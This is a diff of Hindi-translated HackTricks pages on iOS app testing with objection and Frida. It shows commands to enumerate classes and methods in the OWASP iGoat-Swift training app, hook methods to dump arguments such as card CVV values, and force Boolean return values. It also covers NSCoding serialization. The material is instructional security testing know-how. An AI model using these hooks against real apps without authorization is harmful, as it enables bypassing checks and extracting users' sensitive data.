@ -39,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
||||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||||
```
|
```
|
||||||
|
|
||||||
## बंडल, फ्रेमवर्क और पुस्तकालयों की सूची
|
## List Bundles, frameworks and libraries
|
||||||
|
|
||||||
* `ios bundles list_bundles`: ऐप्लिकेशन के बंडल की सूची देखें
|
* `ios bundles list_bundles`: एप्लिकेशन के बंडलों की सूची बनाएं
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_bundles
|
ios bundles list_bundles
|
||||||
|
@ -50,16 +50,34 @@ Executable Bundle Version Path
|
||||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||||
```
|
```
|
||||||
* `ios bundles list_frameworks`: ऐप्लिकेशन द्वारा उपयोग किए गए बाह्य फ्रेमवर्क की सूची देखें
|
* `ios bundles list_frameworks`: एप्लिकेशन द्वारा उपयोग किए जाने वाले बाहरी फ्रेमवर्क की सूची बनाएं
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_frameworks
|
ios bundles list_frameworks
|
||||||
Executable Bundle Version Path
|
Executable Bundle Version Path
|
||||||
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
||||||
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
||||||
...
|
...vateFrameworks/CoreDuetContext.framework
|
||||||
|
FBReactNativeSpec org.cocoapods.FBReactNativeSpec 0.61.5 ...p/Frameworks/FBReactNativeSpec.framework
|
||||||
|
...ystem/Library/Frameworks/IOKit.framework
|
||||||
|
RCTAnimation org.cocoapods.RCTAnimation 0.61.5 ...le.app/Frameworks/RCTAnimation.framework
|
||||||
|
jsinspector org.cocoapods.jsinspector 0.61.5 ...tle.app/Frameworks/jsinspector.framework
|
||||||
|
DoubleConversion org.cocoapods.DoubleConversion 1.1.6 ...pp/Frameworks/DoubleConversion.framework
|
||||||
|
react_native_config org.cocoapods.react-native-config 0.12.0 ...Frameworks/react_native_config.framework
|
||||||
|
react_native_netinfo org.cocoapods.react-native-netinfo 4.4.0 ...rameworks/react_native_netinfo.framework
|
||||||
|
PureLayout org.cocoapods.PureLayout 3.1.5 ...ttle.app/Frameworks/PureLayout.framework
|
||||||
|
GoogleUtilities org.cocoapods.GoogleUtilities 6.6.0 ...app/Frameworks/GoogleUtilities.framework
|
||||||
|
RCTNetwork org.cocoapods.RCTNetwork 0.61.5 ...ttle.app/Frameworks/RCTNetwork.framework
|
||||||
|
RCTActionSheet org.cocoapods.RCTActionSheet 0.61.5 ....app/Frameworks/RCTActionSheet.framework
|
||||||
|
react_native_image_editor org.cocoapods.react-native-image-editor 2.1.0 ...orks/react_native_image_editor.framework
|
||||||
|
CoreModules org.cocoapods.CoreModules 0.61.5 ...tle.app/Frameworks/CoreModules.framework
|
||||||
|
RCTVibration org.cocoapods.RCTVibration 0.61.5 ...le.app/Frameworks/RCTVibration.framework
|
||||||
|
RNGestureHandler org.cocoapods.RNGestureHandler 1.6.1 ...pp/Frameworks/RNGestureHandler.framework
|
||||||
|
RNCClipboard org.cocoapods.RNCClipboard 1.5.1 ...le.app/Frameworks/RNCClipboard.framework
|
||||||
|
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||||
|
[..]
|
||||||
```
|
```
|
||||||
* `memory list modules`: मेमोरी में लोड किए गए मॉड्यूल की सूची देखें
|
* `memory list modules`: मेमोरी में लोड किए गए मॉड्यूल की सूची बनाएं
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list modules
|
memory list modules
|
||||||
|
@ -67,9 +85,15 @@ Name Base Size Path
|
||||||
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
||||||
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
||||||
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
||||||
...
|
SystemConfiguration 0x1aa842000 495616 (484.0 KiB) /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguratio...
|
||||||
|
libc++.1.dylib 0x1bdcfd000 368640 (360.0 KiB) /usr/lib/libc++.1.dylib
|
||||||
|
libz.1.dylib 0x1efd3c000 73728 (72.0 KiB) /usr/lib/libz.1.dylib
|
||||||
|
libsqlite3.dylib 0x1c267f000 1585152 (1.5 MiB) /usr/lib/libsqlite3.dylib
|
||||||
|
Foundation 0x1ab550000 2732032 (2.6 MiB) /System/Library/Frameworks/Foundation.framework/Foundation
|
||||||
|
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||||
|
[...]
|
||||||
```
|
```
|
||||||
* `memory list exports <module_name>`: लोड किए गए मॉड्यूल के निर्यात देखें
|
* `memory list exports <module_name>`: लोड किए गए मॉड्यूल के एक्सपोर्ट
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list exports iGoat-Swift
|
memory list exports iGoat-Swift
|
||||||
|
@ -77,76 +101,122 @@ Type Name
|
||||||
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
||||||
variable _mh_execute_header 0x104ffc000
|
variable _mh_execute_header 0x104ffc000
|
||||||
function _mdictof 0x10516cb88
|
function _mdictof 0x10516cb88
|
||||||
...
|
function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
|
||||||
|
function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
|
||||||
|
function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
|
||||||
|
function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
|
||||||
|
function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
|
||||||
|
function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
|
||||||
|
function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
|
||||||
|
function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
|
||||||
|
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
|
||||||
|
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
|
||||||
|
variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
|
||||||
|
variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
|
||||||
|
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||||
|
[..]
|
||||||
```
|
```
|
||||||
|
|
||||||
## ऐप की कक्षाओं की सूची
|
## List classes of an APP
|
||||||
|
|
||||||
* `ios hooking list classes`: ऐप की कक्षाओं की सूची देखें
|
* `ios hooking list classes`: ऐप की कक्षाओं की सूची बनाएं
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list classes
|
ios hooking list classes
|
||||||
|
|
||||||
AAAbsintheContext
|
AAAbsintheContext
|
||||||
AAAbsintheSigner
|
AAAbsintheSigner
|
||||||
...
|
AAAbsintheSignerContextCache
|
||||||
|
AAAcceptedTermsController
|
||||||
|
AAAccount
|
||||||
|
AAAccountManagementUIResponse
|
||||||
|
AAAccountManager
|
||||||
|
AAAddEmailUIRequest
|
||||||
|
AAAppleIDSettingsRequest
|
||||||
|
AAAppleTVRequest
|
||||||
|
AAAttestationSigner
|
||||||
|
[...]
|
||||||
```
|
```
|
||||||
* `ios hooking search classes <search_term>`: एक ऐसी कक्षा की खोजें जो एक स्ट्रिंग को शामिल करती है। आप **मुख्य ऐप पैकेज** नाम से संबंधित कुछ अद्वितीय शब्द खोज सकते हैं ताकि ऐप की मुख्य कक्षाएं मिलें।
|
* `ios hooking search classes <search_term>`: एक कक्षा खोजें जिसमें एक स्ट्रिंग हो। आप **मुख्य ऐप पैकेज** नाम से संबंधित कुछ अद्वितीय शब्द खोज सकते हैं ताकि ऐप की मुख्य कक्षाओं को पाया जा सके जैसे उदाहरण में:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search classes iGoat
|
ios hooking search classes iGoat
|
||||||
iGoat_Swift.CoreDataHelper
|
iGoat_Swift.CoreDataHelper
|
||||||
iGoat_Swift.RCreditInfo
|
iGoat_Swift.RCreditInfo
|
||||||
...
|
iGoat_Swift.SideContainmentSegue
|
||||||
|
iGoat_Swift.CenterContainmentSegue
|
||||||
|
iGoat_Swift.KeyStorageServerSideVC
|
||||||
|
iGoat_Swift.HintVC
|
||||||
|
iGoat_Swift.BinaryCookiesExerciseVC
|
||||||
|
iGoat_Swift.ExerciseDemoVC
|
||||||
|
iGoat_Swift.PlistStorageExerciseViewController
|
||||||
|
iGoat_Swift.CouchBaseExerciseVC
|
||||||
|
iGoat_Swift.MemoryManagementVC
|
||||||
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
## कक्षा विधियों की सूची
|
## List class methods
|
||||||
|
|
||||||
* `ios hooking list class_methods`: एक विशिष्ट कक्षा की विधियों की सूची देखें
|
* `ios hooking list class_methods`: एक विशिष्ट कक्षा के तरीकों की सूची बनाएं
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||||
- cvv
|
- cvv
|
||||||
- setCvv:
|
- setCvv:
|
||||||
- setName:
|
- setName:
|
||||||
...
|
- .cxx_destruct
|
||||||
|
- name
|
||||||
|
- cardNumber
|
||||||
|
- init
|
||||||
|
- initWithValue:
|
||||||
|
- setCardNumber:
|
||||||
```
|
```
|
||||||
* `ios hooking search methods <search_term>`: एक विधि की खोज करें जो एक स्ट्रिंग को शामिल करती है
|
* `ios hooking search methods <search_term>`: एक विधि खोजें जिसमें एक स्ट्रिंग हो
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search methods cvv
|
ios hooking search methods cvv
|
||||||
...
|
[AMSFinanceVerifyPurchaseResponse + _dialogRequestForCVVFromPayload:verifyType:]
|
||||||
|
[AMSFinanceVerifyPurchaseResponse - _handleCVVDialogResult:shouldReattempt:]
|
||||||
|
[AMSFinanceVerifyPurchaseResponse - _runCVVRequestForCode:error:]
|
||||||
|
[iGoat_Swift.RCreditInfo - cvv]
|
||||||
|
[iGoat_Swift.RCreditInfo - setCvv:]
|
||||||
|
[iGoat_Swift.RealmExerciseVC - creditCVVTextField]
|
||||||
|
[iGoat_Swift.RealmExerciseVC - setCreditCVVTextField:]
|
||||||
|
[iGoat_Swift.DeviceLogsExerciseVC - cvvTextField]
|
||||||
|
[iGoat_Swift.DeviceLogsExerciseVC - setCvvTextField:]
|
||||||
|
[iGoat_Swift.CloudMisconfigurationExerciseVC - cvvTxtField]
|
||||||
|
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||||
```
|
```
|
||||||
|
|
||||||
# मूल फिशिंग
|
# Basic Hooking
|
||||||
|
|
||||||
अब जब आपने ऐप्लिकेशन द्वारा उपयोग की जाने वाली कक्षाओं और मॉड्यूलों की सूची बना ली है, तो आपने कुछ **रोचक कक्षा और विधि नाम** पाए होंगे।
|
अब जब आपने **कक्षाओं और मॉड्यूलों की गणना की है** जो एप्लिकेशन द्वारा उपयोग किए जाते हैं, तो आप कुछ **दिलचस्प कक्षा और विधि नाम** पा सकते हैं।
|
||||||
|
|
||||||
## एक कक्षा की सभी विधियों को हुक करें
|
## Hook all methods of a class
|
||||||
|
|
||||||
* `ios hooking watch class <class_name>`: एक कक्षा की सभी विधियों को हुक करें, प्रारंभिक पैरामीटर और रिटर्न को डंप करें
|
* `ios hooking watch class <class_name>`: एक कक्षा के सभी तरीकों को हुक करें, सभी प्रारंभिक पैरामीटर और रिटर्न को डंप करें
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||||
```
|
```
|
||||||
|
|
||||||
## एक एकल विधि को हुक करें
|
## Hook a single method
|
||||||
|
|
||||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: एक कक्षा की विशिष्ट विधि को हुक करें, प्रारंभिक पैरामीटर, बैकट्रेस और वापसी को हर बार डंप करें जब यह कॉल किया जाता है
|
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: एक कक्षा की विशिष्ट विधि को हुक करें, प्रत्येक बार इसे कॉल करने पर विधि के पैरामीटर, बैकट्रेस और रिटर्न को डंप करें
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||||
```
|
```
|
||||||
|
|
||||||
## बूलियन रिटर्न बदलें
|
## Change Boolean Return
|
||||||
|
|
||||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: यह चयनित विधि को निर्दिष्ट बूलियन वापस करने के लिए करेगा
|
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: यह चयनित विधि को निर्दिष्ट बूलियन लौटाने के लिए बनाएगा
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||||
```
|
```
|
||||||
|
|
||||||
## हुकिंग टेम्पलेट उत्पन्न करें
|
## Generate hooking template
|
||||||
|
|
||||||
* `ios hooking generate simple <class_name>`:
|
* `ios hooking generate simple <class_name>`:
|
||||||
|
|
||||||
|
@ -195,17 +265,18 @@ console.log('Leaving - setCvv:');
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि **HackTricks में अपनी कंपनी का विज्ञापन दिखाया जाए** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन को खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में **PR जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,36 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# WebView Protocol Handlers
|
# WebView प्रोटोकॉल हैंडलर्स
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं** या **हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
कोड और अधिक जानकारी [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
Code and more information in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||||
|
|
||||||
## iOS विकास में ऑब्ज
|
## iOS विकास में ऑब्जेक्ट सीरियलाइजेशन
|
||||||
|
|
||||||
|
iOS में, **ऑब्जेक्ट सीरियलाइजेशन** का अर्थ है ऑब्जेक्ट्स को एक ऐसे प्रारूप में परिवर्तित करना जिसे आसानी से संग्रहीत या प्रसारित किया जा सके, और फिर आवश्यकता पड़ने पर इस प्रारूप से उन्हें पुनर्निर्मित करना। दो मुख्य प्रोटोकॉल, **`NSCoding`** और **`NSSecureCoding`**, इस प्रक्रिया को Objective-C या `NSObject` उपवर्गों के लिए सरल बनाते हैं, जिससे ऑब्जेक्ट्स को **`NSData`** में सीरियलाइज किया जा सकता है, जो बाइट बफर को लपेटता है।
|
||||||
|
|
||||||
|
### **`NSCoding`** कार्यान्वयन
|
||||||
|
`NSCoding` को लागू करने के लिए, एक कक्षा को `NSObject` से विरासत में लेना चाहिए या `@objc` के रूप में चिह्नित किया जाना चाहिए। यह प्रोटोकॉल उदाहरण चर को एन्कोडिंग और डिकोडिंग के लिए दो विधियों के कार्यान्वयन की मांग करता है:
|
||||||
```swift
|
```swift
|
||||||
class CustomPoint: NSObject, NSCoding {
|
class CustomPoint: NSObject, NSCoding {
|
||||||
var x: Double = 0.0
|
var x: Double = 0.0
|
||||||
|
@ -31,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **`NSSecureCoding` के साथ सुरक्षा को बढ़ावा देना**
|
### **`NSSecureCoding` के साथ सुरक्षा बढ़ाना**
|
||||||
हमलावार तकनीकों को कम करने के लिए जहां हमलावार पहले से बनाए गए ऑब्जेक्ट में डेटा इंजेक्ट करते हैं, **`NSSecureCoding`** एक बढ़ाया गया प्रोटोकॉल प्रदान करता है। `NSSecureCoding` को स्वीकृति देने वाली कक्षाएं डिकोडिंग के दौरान ऑब्जेक्ट के प्रकार की पुष्टि करनी चाहिए, यह सुनिश्चित करना महत्वपूर्ण है कि केवल अपेक्षित ऑब्जेक्ट प्रकार निर्मित हों। हालांकि, महत्वपूर्ण है यह ध्यान देना कि जबकि `NSSecureCoding` प्रकार सुरक्षा को बढ़ाता है, यह डेटा को एन्क्रिप्ट नहीं करता या इसकी पूर्णता सुनिश्चित नहीं करता, इसलिए संवेदनशील जानकारी की सुरक्षा के लिए अतिरिक्त उपाय आवश्यक है:
|
हमलावरों द्वारा पहले से निर्मित वस्तुओं में डेटा इंजेक्ट करने की कमजोरियों को कम करने के लिए, **`NSSecureCoding`** एक उन्नत प्रोटोकॉल प्रदान करता है। `NSSecureCoding` का पालन करने वाली कक्षाओं को डिकोडिंग के दौरान वस्तुओं के प्रकार की पुष्टि करनी चाहिए, यह सुनिश्चित करते हुए कि केवल अपेक्षित वस्तु प्रकारों का निर्माण किया जाए। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि जबकि `NSSecureCoding` प्रकार की सुरक्षा को बढ़ाता है, यह डेटा को एन्क्रिप्ट नहीं करता है या इसकी अखंडता सुनिश्चित नहीं करता है, संवेदनशील जानकारी की सुरक्षा के लिए अतिरिक्त उपायों की आवश्यकता होती है:
|
||||||
```swift
|
```swift
|
||||||
static var supportsSecureCoding: Bool {
|
static var supportsSecureCoding: Bool {
|
||||||
return true
|
return true
|
||||||
|
@ -40,42 +46,42 @@ return true
|
||||||
|
|
||||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||||
```
|
```
|
||||||
## डेटा आर्काइविंग `NSKeyedArchiver` के साथ
|
## Data Archiving with `NSKeyedArchiver`
|
||||||
`NSKeyedArchiver` और इसका सहकारी, `NSKeyedUnarchiver`, ऑब्जेक्ट्स को एक फ़ाइल में एन्कोड करने और बाद में उन्हें पुनः प्राप्त करने की सुविधा प्रदान करते हैं। यह तंत्र ऑब्जेक्ट्स को स्थायी रूप से सुरक्षित करने के लिए उपयोगी है:
|
`NSKeyedArchiver` और इसका समकक्ष, `NSKeyedUnarchiver`, वस्तुओं को एक फ़ाइल में एन्कोड करने और बाद में उन्हें पुनः प्राप्त करने की अनुमति देते हैं। यह तंत्र वस्तुओं को स्थायी बनाने के लिए उपयोगी है:
|
||||||
```swift
|
```swift
|
||||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
